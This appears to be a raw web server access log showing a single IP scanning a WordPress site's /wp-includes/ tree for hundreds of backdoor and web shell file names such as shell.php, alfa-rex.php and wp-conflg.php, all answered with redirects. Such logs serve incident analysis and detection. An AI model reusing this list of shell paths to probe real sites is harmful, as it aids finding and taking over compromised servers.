[16/Apr/2025:16:13:03 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:04 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:06 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:08 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:10 -0400] "GET /wp-includes/SimplePie//f-index4.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:12 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:13 -0400] "GET /wp-includes/SimplePie/Cache//cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:14 -0400] "GET /wp-includes/SimplePie/Cache/Hash.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:16 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:18 -0400] "GET /wp-includes/SimplePie/Content//makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:19 -0400] "GET /wp-includes/SimplePie/Content/Type//themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:20 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:21 -0400] "GET /wp-includes/SimplePie/Content/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:22 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:24 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:28 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:29 -0400] "GET /wp-includes/SimplePie/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:29 -0400] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:30 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:31 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:32 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:33 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:33 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:34 -0400] "GET /wp-includes/SimplePie/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:35 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:35 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:36 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:36 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:37 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:37 -0400] "GET /wp-includes/Text/Diff/Engine//shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:38 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:39 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:39 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:40 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:40 -0400] "GET /wp-includes/Text/Diff/Renderer/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:41 -0400] "GET /wp-includes/Text/Diff/Renderer/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:41 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:42 -0400] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:42 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:43 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:43 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:44 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:44 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:44 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:45 -0400] "GET /wp-includes/Text/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:46 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:46 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:47 -0400] "GET /wp-includes/Text/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:47 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:48 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:48 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:49 -0400] "GET /wp-includes/assets//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:49 -0400] "GET /wp-includes/assets//classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:50 -0400] "GET /wp-includes/assets//cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:51 -0400] "GET /wp-includes/assets//wp-access.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:52 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:53 -0400] "GET /wp-includes/assets/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:53 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:54 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:55 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:57 -0400] "GET /wp-includes/assets/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:59 -0400] "GET /wp-includes/assets/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:00 -0400] "GET /wp-includes/assets/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:00 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:01 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:02 -0400] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:02 -0400] "GET /wp-includes/blTvYBaqncP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:03 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:04 -0400] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:04 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:05 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:06 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:07 -0400] "GET /wp-includes/block-patterns/ben.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:08 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:09 -0400] "GET /wp-includes/block-patterns/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:10 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:11 -0400] "GET /wp-includes/block-supports//default-constant.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:11 -0400] "GET /wp-includes/block-supports//dimensions-ajax.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:12 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:13 -0400] "GET /wp-includes/block-supports/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:13 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:14 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:14 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:15 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:15 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:16 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:16 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:17 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:18 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:18 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:19 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:20 -0400] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:20 -0400] "GET /wp-includes/blocks/list/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:21 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:21 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:22 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:22 -0400] "GET /wp-includes/blocks/post-author/wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:23 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:23 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:24 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:24 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:24 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:25 -0400] "GET /wp-includes/blocks/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:25 -0400] "GET /wp-includes/bnYGWrcap1X.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:26 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:26 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:27 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:27 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:28 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:29 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:29 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:30 -0400] "GET /wp-includes/certificates/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:30 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:31 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:31 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:32 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:32 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:33 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:33 -0400] "GET /wp-includes/css/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:34 -0400] "GET /wp-includes/css/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:34 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:35 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:35 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:36 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:36 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:36 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:37 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:37 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:38 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:38 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:39 -0400] "GET /wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:39 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:40 -0400] "GET /wp-includes/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:40 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:40 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:41 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:41 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:42 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:42 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:42 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:43 -0400] "GET /wp-includes/customize/mariju.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:44 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:44 -0400] "GET /wp-includes/customize/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:45 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:45 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:46 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:46 -0400] "GET /wp-includes/fonts//links.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:47 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:47 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:48 -0400] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:49 -0400] "GET /wp-includes/fonts/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:49 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:50 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:50 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:50 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:51 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:52 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:52 -0400] "GET /wp-includes/html-api/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:53 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:53 -0400] "GET /wp-includes/iUN3FwyCaZR.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:54 -0400] "GET /wp-includes/iWoGYaunXNz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:54 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:54 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:55 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:55 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:56 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:56 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:57 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:58 -0400] "GET /wp-includes/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:59 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:14:59 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:00 -0400] "GET /wp-includes/images/media/ben.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:00 -0400] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:01 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:01 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:02 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:02 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:03 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:04 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:05 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:08 -0400] "GET /wp-includes/images/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:09 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:10 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:11 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:12 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:13 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:14 -0400] "GET /wp-includes/js//text.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:15 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:16 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:16 -0400] "GET /wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:17 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:17 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:18 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:20 -0400] "GET /wp-includes/js/codemirror/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:20 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:21 -0400] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:21 -0400] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:22 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:23 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:24 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:25 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:25 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:25 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:26 -0400] "GET /wp-includes/js/tinymce/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:27 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:28 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:30 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:31 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:31 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:32 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:33 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:33 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:15:34 -0400] "GET 